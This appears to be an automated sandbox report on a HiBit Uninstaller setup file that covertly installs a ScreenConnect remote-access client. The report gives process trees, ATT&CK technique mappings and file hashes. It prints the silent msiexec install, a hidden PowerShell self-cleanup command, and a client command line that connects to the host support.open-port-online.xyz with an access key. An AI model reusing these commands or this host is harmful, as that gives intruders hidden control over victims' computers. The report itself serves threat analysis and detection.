Token: SeLockMemoryPrivilege	5044	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5044	msiexec.exe
Token: SeMachineAccountPrivilege	5044	msiexec.exe
Token: SeTcbPrivilege	5044	msiexec.exe
Token: SeSecurityPrivilege	5044	msiexec.exe
Token: SeTakeOwnershipPrivilege	5044	msiexec.exe
Token: SeLoadDriverPrivilege	5044	msiexec.exe
Token: SeSystemProfilePrivilege	5044	msiexec.exe
Token: SeSystemtimePrivilege	5044	msiexec.exe
Token: SeProfSingleProcessPrivilege	5044	msiexec.exe
Token: SeIncBasePriorityPrivilege	5044	msiexec.exe
Token: SeCreatePagefilePrivilege	5044	msiexec.exe
Token: SeCreatePermanentPrivilege	5044	msiexec.exe
Token: SeBackupPrivilege	5044	msiexec.exe
Token: SeRestorePrivilege	5044	msiexec.exe
Token: SeShutdownPrivilege	5044	msiexec.exe
Token: SeDebugPrivilege	5044	msiexec.exe
Token: SeAuditPrivilege	5044	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5044	msiexec.exe
Token: SeChangeNotifyPrivilege	5044	msiexec.exe
Token: SeRemoteShutdownPrivilege	5044	msiexec.exe
Token: SeUndockPrivilege	5044	msiexec.exe
Token: SeSyncAgentPrivilege	5044	msiexec.exe
Token: SeEnableDelegationPrivilege	5044	msiexec.exe
Token: SeManageVolumePrivilege	5044	msiexec.exe
Token: SeImpersonatePrivilege	5044	msiexec.exe
Token: SeCreateGlobalPrivilege	5044	msiexec.exe
Token: SeRestorePrivilege	4956	msiexec.exe
Token: SeTakeOwnershipPrivilege	4956	msiexec.exe
Token: SeRestorePrivilege	4956	msiexec.exe
Token: SeTakeOwnershipPrivilege	4956	msiexec.exe
Token: SeRestorePrivilege	4956	msiexec.exe
Token: SeTakeOwnershipPrivilege	4956	msiexec.exe
Token: SeRestorePrivilege	4956	msiexec.exe
Token: SeTakeOwnershipPrivilege	4956	msiexec.exe
Token: SeRestorePrivilege	4956	msiexec.exe
Token: SeTakeOwnershipPrivilege	4956	msiexec.exe
Token: SeShutdownPrivilege	716	MsiExec.exe
Token: SeRestorePrivilege	4956	msiexec.exe
Token: SeTakeOwnershipPrivilege	4956	msiexec.exe
Token: SeRestorePrivilege	4956	msiexec.exe
Token: SeTakeOwnershipPrivilege	4956	msiexec.exe
Token: SeRestorePrivilege	4956	msiexec.exe
Token: SeTakeOwnershipPrivilege	4956	msiexec.exe
Token: SeRestorePrivilege	4956	msiexec.exe
Token: SeTakeOwnershipPrivilege	4956	msiexec.exe
Token: SeRestorePrivilege	4956	msiexec.exe
Token: SeTakeOwnershipPrivilege	4956	msiexec.exe
Token: SeRestorePrivilege	4956	msiexec.exe
Token: SeTakeOwnershipPrivilege	4956	msiexec.exe
Token: SeRestorePrivilege	4956	msiexec.exe
Token: SeTakeOwnershipPrivilege	4956	msiexec.exe
Token: SeRestorePrivilege	4956	msiexec.exe
Token: SeTakeOwnershipPrivilege	4956	msiexec.exe
Token: SeRestorePrivilege	4956	msiexec.exe
Token: SeTakeOwnershipPrivilege	4956	msiexec.exe
Token: SeRestorePrivilege	4956	msiexec.exe
Token: SeTakeOwnershipPrivilege	4956	msiexec.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2788	vcomp140.tmp

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
5044	msiexec.exe
4956	msiexec.exe
4772	MsiExec.exe
716	MsiExec.exe
5348	HiBitUninstaller.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 5296 wrote to memory of 5044	5296	HiBitUninstaller-setup-4.0.10.exe	90
PID 5296 wrote to memory of 5040	5296	HiBitUninstaller-setup-4.0.10.exe	91
PID 5296 wrote to memory of 3320	5296	HiBitUninstaller-setup-4.0.10.exe	93
PID 3320 wrote to memory of 2788	3320	vcomp140.dll	95
PID 4956 wrote to memory of 4772	4956	msiexec.exe	96
PID 4772 wrote to memory of 1392	4772	MsiExec.exe	97
PID 4956 wrote to memory of 716	4956	msiexec.exe	98
PID 4472 wrote to memory of 2608	4472	ScreenConnect.ClientService.exe	100
PID 4472 wrote to memory of 1740	4472	ScreenConnect.ClientService.exe	101
PID 2788 wrote to memory of 5348	2788	vcomp140.tmp	106

C:\Users\Admin\AppData\Local\Temp\HiBitUninstaller-setup-4.0.10\HiBitUninstaller-setup-4.0.10.exe
"C:\Users\Admin\AppData\Local\Temp\HiBitUninstaller-setup-4.0.10\HiBitUninstaller-setup-4.0.10.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5296
- C:\Windows\system32\msiexec.exe
  "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\SC5C30.tmp" /qn /norestart
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:5044
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Start-Sleep 180; Remove-Item -Force -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\SC5C30.tmp'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5040
- C:\Users\Admin\AppData\Local\Temp\HiBitUninstaller-setup-4.0.10\redist\2022\vcomp140.dll
  "C:\Users\Admin\AppData\Local\Temp\HiBitUninstaller-setup-4.0.10\redist\2022\vcomp140.dll"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3320
- - C:\Users\Admin\AppData\Local\Temp\is-CRJ24.tmp\vcomp140.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-CRJ24.tmp\vcomp140.tmp" /SL5="$400AE,4211159,58368,C:\Users\Admin\AppData\Local\Temp\HiBitUninstaller-setup-4.0.10\redist\2022\vcomp140.dll"
    3⤵
    - Drops file in Program Files directory
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:2788
  - - C:\Program Files (x86)\HiBit Uninstaller\HiBitUninstaller.exe
      "C:\Program Files (x86)\HiBit Uninstaller\HiBitUninstaller.exe"
      4⤵
      Drops file in Program Files directory
      Drops file in Windows directory
      Executes dropped EXE
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of SetWindowsHookEx
      PID:5348

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4956
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 6500CF1F6B973D20A9A9C675A1153484
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4772
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSI6651.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240740093 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Drops file in Windows directory
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:1392
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding DBCEA9454DA88A0E1123086F65398E7D E Global\MSI0000
  2⤵
  - Drops file in Windows directory
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:716

C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=support.open-port-online.xyz&p=8041&s=f9c18b3c-954d-4145-a1af-ab8666003b11&k=BgIAAACkAABSU0ExAAgAAAEAAQB9A8kI4PGsiz%2fxgCPU7NxM1XAo2cY%2brmPe6wbLscHgD8YTsAOqkKXJdHcMu5Rz5QXlRgdsIUkQByuiKIHfrKvRwrT1KvMArPwWZZbsVcb4OHUjASGG9Qf5%2bfULXGbEUXT7BmAHu3PBfJyIKGl4Lv7V0PV6S6hgI9c5kKaw3NCP2CxzSuCJncPiC1fkgcZlGlwuIk0QWlQ8VObGqOgLap7eU1WyCftTfNr3XVZObLKFGt0PzISRA%2fF9g1sNJs1R0jcK0KE%2bSzapCS9HP9dM%2brCO4TTY2ElSeNeWe44nfa%2br4eDTWeg0prhsMEVjnHqJxg0Uqt9qAq97g0oHQbS4SanP&c=HiBitUninstaller-setup-4.0.10"
1⤵
- Sets service image path in registry
- Network Service Discovery
- Drops file in System32 directory
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4472
- C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.WindowsClient.exe" "RunRole" "3a6e267e-9f36-4c89-a5f2-da7f8389f3e4" "User"
  2⤵
  - Executes dropped EXE
  PID:2608
- C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.WindowsClient.exe" "RunRole" "ae50e513-aaac-44b5-b15c-05026a8b6350" "System"
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:1740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4976

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Network Service Discovery

T1046

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e5962ab.rbs

Path C:\Config.Msi\e5962ab.rbs
Size 214KB
SHA256 febda04cdfff3ee64c5474d36b087213373fb799b268da932ddbbb721a0da84e
MD5 88ca64ed2c296a124246d09521c9bad7
SHA1 21dd50651254265b4e5159cebbbf7c77a08e8a81
SHA512 d3b4ef506e1f96227fda31325f3286f37c31840a596d41f9133769e3bceed014379ffc4948fa7e0a5a18116a9e89a4a4bc6f7b7fac60a0c93c94d77b89e7a28e
SSDEEP 3072:c9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG3:cuH2aCGw1ST1wQLdqv3
TLSH
T191248D227444807EE7F91A32D93F9A61BE3DF6240760C99E83848C1E5D604D06BF7B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HiBitUninstaller.exe

Path C:\Program Files (x86)\HiBit Uninstaller\HiBitUninstaller.exe
Size 14.7MB
SHA256 89092212bd920b84d235a5d4ea89ccaa7f64ec32fcaf769f1e9cdb8070c3dcea
MD5 09d818f5b5a662619ade18c13eef5378
SHA1 8ef3d9e3bf78097a141969042b51d10ccf304b72
SHA512 70a4aaf491b88d366d60e77be81e80ab60c3cd4e152a8a9605d7d64febfffe38688e3757b17386bd0831eb1bc3e8b05dab34ceef101ae87241c2abcb4842bc22
SSDEEP 393216:rHrykoxtUJPcvddVgbnqTPBjZYyZoC6NLC:TOkqzBj2
TLSH
T18DF63802B3E85129F1B71F75E97AD1640A3BFD312A29C59F32D9054C0FB0B8099767AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

unins000.exe

Path C:\Program Files (x86)\HiBit Uninstaller\unins000.exe
Size 713KB
SHA256 0527b284ffc2e79f210329107e5ae7dbf569aa7c721752bed8c76badba92089c
MD5 a7596450659bc65c4b7ead1c7124e8bd
SHA1 7e614bb2fb21d41eb56982415c62a375dc5cc307
SHA512 0a9835371e380856b69da5cce724d0e064a62f7a6f411d5b1a9c4124a9785860ddca0b59c3fc337cb3d7f3af81f6b43253e793b4775e3aa19ec598f1a1a71037
SSDEEP 12288:/qIRz+f+ui8TrPO37fzH4A63RRwDFtuXUZERmhrNh4dT9TaC+IGNbDtQPuFyxyR8:CIZg+uiirPO37fzH4A6haDbcUZEbdT9f
TLSH
T19DF48D32F2A08837D1B31E789D5B82955936FD103F38A5A736F91F0C4E796817A272D2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.Override.en-US.resources

Path C:\Program Files (x86)\Microsoft Visual C++ 2017\Client.Override.en-US.resources
Size 498B
SHA256 0307565b9e70e582f8c8695eebc0fb3d0da76426b94f778928742465036e9160
MD5 41879f481bf14f94413187c15df1bf87
SHA1 79c1d1a30cd0d72a41ccbd5c566318a6fb87c01b
SHA512 3158a96305e7c5503d3cfb9fab7be73ec5ac8e627c3bca77487904a1dab8d88bb37721c0eb1ba9e644d576fc4179c6944fabd53f9f60b0d9fcf6f4087e8a40ae
TLSH
T187F0E21172FC616AE8F35F362C75308305BBFD3ED520942E9428211D666250A8A91B33
MD5 SHA1 SHA512 TLSH

Submit Download

Client.Override.resources

Path C:\Program Files (x86)\Microsoft Visual C++ 2017\Client.Override.resources
Size 4KB
SHA256 4b1351ff1b4c54808ba17abb1ba810c55066657688099457ec7568d0ed091335
MD5 53fa8023614ff13fb225ae90bc82e423
SHA1 accad2cac4bd03e8ca9a79c3b71898a6e77978ce
SHA512 f32a5dd0de8ee470a442623ac947f88633aa61ab474ee17bab673a905841a37a9f3ebd87fe4adf5e9cb62e2109fdae010000eef0c03dbe1b37b21fbc9a8a4d55
SSDEEP 96:rceyA62nJbh+A62nJbh+A62nJbh+A62nJbh+A62nJbh+A62nJbh+A62nJbh+A62L:rNZjjjjjjjd
TLSH
T1BDA10FC6F2CEA09CE217257722F7B010EC7314AD9C99AB5BB450A60941D99AC9BC3737
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.en-US.resources

Path C:\Program Files (x86)\Microsoft Visual C++ 2017\Client.en-US.resources
Size 48KB
SHA256 f8398a235b29af6569f2b116e0299b95512d042f5a4cd38c98c79729a5fbdb9d
MD5 511202ed0ba32d7f09eab394c917d067
SHA1 dbd611720fd1730198f72dec09e8e23e6d6488f8
SHA512 f04b08938f3ebf8cfa1a1157a94da3ae4699494bdce566619afa5b13a8f6ebe556d522c064e5ea02e343b59a489343f77e3ea2bb2ea390aae35a626f41cadc77
SSDEEP 1536:sdr6QF+gQpAfqiErOmOCqZUWi+JgJ0FQi9zwHLAhDKZ1HtRKekmrg9:sdr1F+gQOlErOmPqZUWi+JgJ0FQi9zw2
TLSH
T166232D1277FD1A58F5F36F05BE7A94619937BC6A2E25C06E1028815E09B2F80CDB2773
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.resources

Path C:\Program Files (x86)\Microsoft Visual C++ 2017\Client.resources
Size 26KB
SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
MD5 5cd580b22da0c33ec6730b10a6c74932
SHA1 0b6bded7936178d80841b289769c6ff0c8eead2d
SHA512 c2494533b26128fbf8149f7d20257d78d258abffb30e4e595cb9c6a742f00f1bf31b1ee202d4184661b98793b9909038cf03c04b563ce4eca1e2ee2dec3bf787
SSDEEP 384:rAClIRkKxFCQPZhNAmutHcRIfvVf6yMt+FRVoSVCdcDk6jO0n/uTYUq5ZplYKlBy:MV3PZrXgTf6vEVm6zjpGYUElerG49
TLSH
T10BC2D0CA33BDED98E77E63BB7DE840701737BB017D6192126C060411613528AAEA8F4F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Client.dll

Path C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.Client.dll
Size 192KB
SHA256 c48818729f4743c8ca9e1b31c8fe3c3e4bb335ae5e5e9ac253a823f9979e582c
MD5 f25390890739e859c8706b09335ecf91
SHA1 126983a750dfb24eaf6549a3d438cf2c98d5a5d6
SHA512 d6b6d959b96648a6aeb4e695f3730d5e7705ee1cfc4e67fad0122e78cc858a1633f974601541fabb6bd45459130c726465433525d779bf9ec2f6272d315817e6
SSDEEP 3072:zS77ZHYo+NOChU9q1yt5ts2VUXEWcyzv8qOnzDvJXYp:k7io8OCS41yR4XaXqOnG
TLSH
T17B145C9673684D2AD6AF4D73B4607028CA72ED099073E66E5D04BDFA59B7380CE503E3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.dll

Path C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.ClientService.dll
Size 66KB
SHA256 4505825b498071330af95e6fb49d0e4838e7f0c7afd760f46d19d0c7c20eb5e5
MD5 b7461cca3215c29d40cdd17be2a69ac8
SHA1 6e8d68ee19f522c31e303216b27b4cc733755a28
SHA512 d050b30686d14e9d5e4b626359c7a410abb1e08faa6699bd8f629f334ae479726bedffda005080ac7684786a9c375894d09b09d3a000df95902f9030f02f90c3
SSDEEP 1536:ZALNsA33YG2TaqrLYp7B0VDIuZMYQ9VflP1IEPbuKS:iLNsaqrLSB0VEcQ9VZ1IYS
TLSH
T1AE634A84A3BE9AB7C9DF4E38B8B5B0910AB1CB01D061FBAC8CC974D61B537C159147A7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.exe

Path C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.ClientService.exe
Size 93KB
SHA256 c934cc868a7e985753ccaaef66d3e0714819be1d5549d600e113e09c93142cb9
MD5 4e2a6dba43154f0e1665438678fc3b22
SHA1 11e8ea7669806e0b7229ac9d6bd7d2b51143fa01
SHA512 b7e90592752e627cd22bafbb5c6db0218fb0dc6e7c346e2f3a66e61cb3e8f33f14289b985d8517f87a7705618208cb1642379987079023e5f86c31cfad35287d
SSDEEP 1536:Hg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkgEU0HMY7HxA:AhbNDxZGXfdHrX7rAc6myJkgEU0HH6
TLSH
T156935A13B5C28872D473093158E0DAB49A3FF9615E61DEAB3798022A4F342C1BE75E77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsAuthenticationPackage.dll

Path C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.WindowsAuthenticationPackage.dll
Size 244KB
SHA256 7a6e2a764928322d7f1e57af61a1e463bff0cd373c19c4bd0a3dc93a845fa46d
MD5 8ab5e72cf880e64c9aabc8906f77d430
SHA1 a32c08ee5247588952796b979f5dc4899998ee67
SHA512 6f1ea2624081a7658e383120cb1b0451611624758966d572c366d2b4b6f685c4ac391850c3a6a62fe9280fe6ee12d021f17fa791fe319287cf963a8c4de3b6db
SSDEEP 3072:FJvChyA4mk0b4GvxDd6Q6dtaVNVrlaHpFahvJ9ERnWtMG8Ff2zt9Zgcld5i9:H0BvxDdL6d8VNdlC3g0RAnhi
TLSH
T1A9347C15B7A50CB4EC77823888535A46E7B2BC160760E6CF03E0425ADF6F7D1A63E762
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe

Path C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.WindowsClient.exe
Size 584KB
SHA256 aa921b756893d0a0740e90469c27d047bfc0b733f38e5f1490df47baf8441d7a
MD5 f470cc302622d8f0ac53c63cdc858d38
SHA1 49de93f9fa232bb68ed43fa439a7ba2d9eb58b58
SHA512 767bac83d095f4c941f4639ce2933b44d606ada3e3786103ea0cf1c1dafb100b2760721226a609ebc5dcab1243fbcd421b6c83c3949ccd4c83ed4540393bbc23
SSDEEP 6144:lyX78vqMKHMds2z7xCATIo1V7zVlJQKMtk/zQdQcYF2/R4IrNYuoDASL4+UKFvh+:MopKsdDtCATlXCttk0HYUp
TLSH
T1EFD47D21377ADBBAC4AF0739B0A2141427B0E9066245E78E4F54F9E91D9B3894F183F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe.config

Path C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.WindowsClient.exe.config
Size 266B
SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
MD5 728175e20ffbceb46760bb5e1112f38b
SHA1 2421add1f3c9c5ed9c80b339881d08ab10b340e3
SHA512 fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7
TLSH
T12CD05E5418D4FC1B5E324A6767628959EF70E2D280A84808B49F1573062309A4397322
MD5 SHA1 SHA512 TLSH

Submit Download

ScreenConnect.WindowsCredentialProvider.dll

Path C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.WindowsCredentialProvider.dll
Size 869KB
SHA256 46869989dc9086be05080b30a3dccefa9df021826a04820f6b2f30e2e86b5f9c
MD5 f6ca5293fc5780f17590814f9d61562b
SHA1 29dc646d3ad3c5156d4a084f23aa4bfb63bdbc3c
SHA512 ca7c2e5264ba5fbc7cf1a4b069769280b144cfa61b70c51c4f810ed0a401719defc0e64cb3fad5377df4cda9844e1baa993cb3bc0958552b544765058701de8e
SSDEEP 6144:2h3XwzxgTrfhf6lsyGumux8KE1HlnU8sWtPBKiN5YePElrwZ7FIKEJz89DER0n32:ED5qe1H1tskkdq+KcgdEU3+M0wPkFRh
TLSH
T1D7154B1BE69540B6C0ADC5B5D31B9A36B7F6F4860B14759F0BD40A223F6AF906B3C384
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

app.config

Path C:\Program Files (x86)\Microsoft Visual C++ 2017\app.config
Size 1KB
SHA256 a203fcde97bbea157f0620429cfc017aa501e86f8f5b7aa6080579fe313404d1
MD5 7ee345297fefa790460ebff3ea859b28
SHA1 a8d8241d09df4586eb5ee160cb6b9ae42007f471
SHA512 29996606e361717642c2d6616e9b41b565a820b69c14eb56cbf309847332af42849e83023bb91cd88b8a6f1792f96bfa4d97cf1c0c771efc9034d39604e79fac
TLSH
T15A315E1DB5C0AE9915B25631E63152D1EC7049335266B0E0B8DE316B9F70ECA4BF32EA
MD5 SHA1 SHA512 TLSH

Submit Download

system.config

Path C:\Program Files (x86)\Microsoft Visual C++ 2017\system.config
Size 948B
SHA256 9a25ba68db20d1c8b522d7d50037e8bb87d70761364704a9d5f887985acac492
MD5 f600d526a14debcec91e97aab5d6cf60
SHA1 3847a6383f1569df5f1442f1cb026596d0869540
SHA512 c9c5bbdf7b0955d29f9c65eef9d2074ebd5fe7994e61485bb4f341ffe44afed569d98dfb99bf16e05db1c5199c6eb00ccedb8552e36b0bd1a42f32eb4a932bf9
TLSH
T13A1110B0BA842D8A17A33E23C51243849E711547201A20C874AE52FA6F7699F0B531D6
MD5 SHA1 SHA512 TLSH

Submit Download

SC5C30.tmp

Path C:\Users\Admin\AppData\Local\Temp\SC5C30.tmp
Size 12.9MB
SHA256 33bd47ebe08f810977785e10454ae31f060113cb69ef5a25cfb81e1a7be19b94
MD5 75984057ceaf67d6713543a38414bf6e
SHA1 806ef7b3173588181f6e5ef44e6eceb0aebf72f3
SHA512 4af87d7c998f68ea1f6ef325bdf8689b572c60bdf8e145e97246ec9d63cf6ea8e3c6ecd4bd88643b0afb9547a04f53976650ca9f5bcb30e1329239b8e46ba2da
SSDEEP 196608:S91veKFL91veK/91veKm91veKg91veKC91veKb91veKD:S9bL9t9M9y9g9t9d
TLSH
T134D6223276FC0164E2B30BB5ECBA81B46876BD288E13E06E9260755D6570F548EB3737
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vcomp140.tmp

Path C:\Users\Admin\AppData\Local\Temp\is-CRJ24.tmp\vcomp140.tmp
Size 702KB
SHA256 3bb0ee5569fe5453c6b3fa25aa517b925d4f8d1f7ba3475e58fa09c46290658c
MD5 1afbd25db5c9a90fe05309f7c4fbcf09
SHA1 baf330b5c249ca925b4ea19a52fe8b2c27e547fa
SHA512 3a448f06862c6d163fd58b68b836d866ae513e04a69774abf5a0c5b7df74f5b9ee37240083760185618c5068bf93e7fd812e76b3e530639111fb1d74f4d28419
SSDEEP 12288:XqIRz+f+ui8TrPO37fzH4A63RRwDFtuXUZERmhrNh4dT9TaC+IGNbDtQPuFyxyR:aIZg+uiirPO37fzH4A6haDbcUZEbdT9+
TLSH
T1F7E47D32F2A08837D1731E789D1B82955936FD113F38A9A736F91F0C4E796817A272D2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI6651.tmp

Path C:\Windows\Installer\MSI6651.tmp
Size 1.1MB
SHA256 81c8eb2c3eff9902c4a210d265ed7fc8ecb6619aec3fbbcedaed390e0f31c4aa
MD5 5aa0850fa0802f435ad0305e96ff71b5
SHA1 647ac455ef568092db66fab28fe708b188434444
SHA512 0d50e2fdc70b35fbd1048a94ddf22f3847e0240a74f376ca43a968c6b920f1c491e33b1feda0d44871bf88e3ffda20c318cac769027426da1b6a9f8dabaf9e38
SSDEEP 24576:QUUGG5Y3wFIBEzPxlTz6zOFITZ+tnSpNVC3aPC:jG5fQCx1eZ+pwfCK6
TLSH
T16835235A7BF18038E1623F305D35A3604AFE7C626976CB5E6F8005AC5FA1B80DA65373
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Microsoft.Deployment.WindowsInstaller.dll

Path C:\Windows\Installer\MSI6651.tmp-\Microsoft.Deployment.WindowsInstaller.dll
Size 172KB
SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
MD5 5ef88919012e4a3d8a1e2955dc8c8d81
SHA1 c0cfb830b8f1d990e3836e0bcc786e7972c9ed62
SHA512 4544565b7d69761f9b4532cc85e7c654e591b2264eb8da28e60a058151030b53a99d1b2833f11bfc8acc837eecc44a7d0dbd8bc7af97fc0e0f4938c43f9c2684
SSDEEP 3072:FkfZS7FUguxN+77b1W5GR69UgoCaf8TpCnfKlRUjW01Ky4:x+c7b1W4R6joxfQE
TLSH
T14E045B2563FC473ECAEF87B4E2624251E7B2E2E97113DB0DDC8541AA2522780F792753
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Core.dll

Path C:\Windows\Installer\MSI6651.tmp-\ScreenConnect.Core.dll
Size 533KB
SHA256 289c9f6f4c91ff0774de14bbcb637346ccb74ed676cb915376040674056271bc
MD5 e8979681deca8d48935a128d5c4789e4
SHA1 1d582b7b55920e9470128e03301c8dcd13d316c8
SHA512 824aa3957e742405b6ae8e61f73bfa4374b38e1be62f82580091e0e98ce0675b11131d960cee055ad4d9f963097839f3480374dc86fcea8e87e4bbe2defc8a61
SSDEEP 6144:zAUzzJn0oMN4TMakVxE77VcYbUinncrBqAjcwdmhqH1J6tMznSAiORxw8q/ureL3:zXwdshncrBqtxMznZE80TIPc
TLSH
T141C47D1133988F7ECFAF47BAE13045580678ED06610EF76BAAC5D0A92F4734E4E449E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.InstallerActions.dll

Path C:\Windows\Installer\MSI6651.tmp-\ScreenConnect.InstallerActions.dll
Size 21KB
SHA256 acdce930cde439092e10dc6b766c2d564eb51def7877e92b69d0bf8b400c05a7
MD5 c73de36fd1abfcaf56272484431814a2
SHA1 18143495415cb1ff701a1c10eb389a55ac530381
SHA512 cf05cecc884d9ce768120fa32793f533295ed2036c31de300badc2ea7e0b7932b4d06b5262d4c43208a9169fe58cf6301c5a2f696c18c76cc95e491c92fc3ad7
SSDEEP 384:WBHH+yElQjHVPioy43DphaC/GeXczrMRbx1kjvdNU5yYoJ37bbrJju:9rCtP3DCyXcMJ5yp7bbxu
TLSH
T145A2921177EC4B2AF6FF3FB4B9B621504A31FC96AC36D61E1A85505E4D32B4489A0B33
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Windows.dll

Path C:\Windows\Installer\MSI6651.tmp-\ScreenConnect.Windows.dll
Size 1.6MB
SHA256 30a0135e30850d8d5a47ad868e1aceca5d523e50e97298f57fd9b447384ae67c
MD5 4bb96fa52684f734b8933900eac0dc57
SHA1 281339d1fbe81fcffea1c5874dc3b8a7dec91b3a
SHA512 c3b89e4498659f5050eb218700ea77eabd5535fe39a5e010bd38bc9ffcd51285bc79b6b9e590731fc6ba95603cd33894ba1ae0581a4ca95a10c87e53fba79e4f
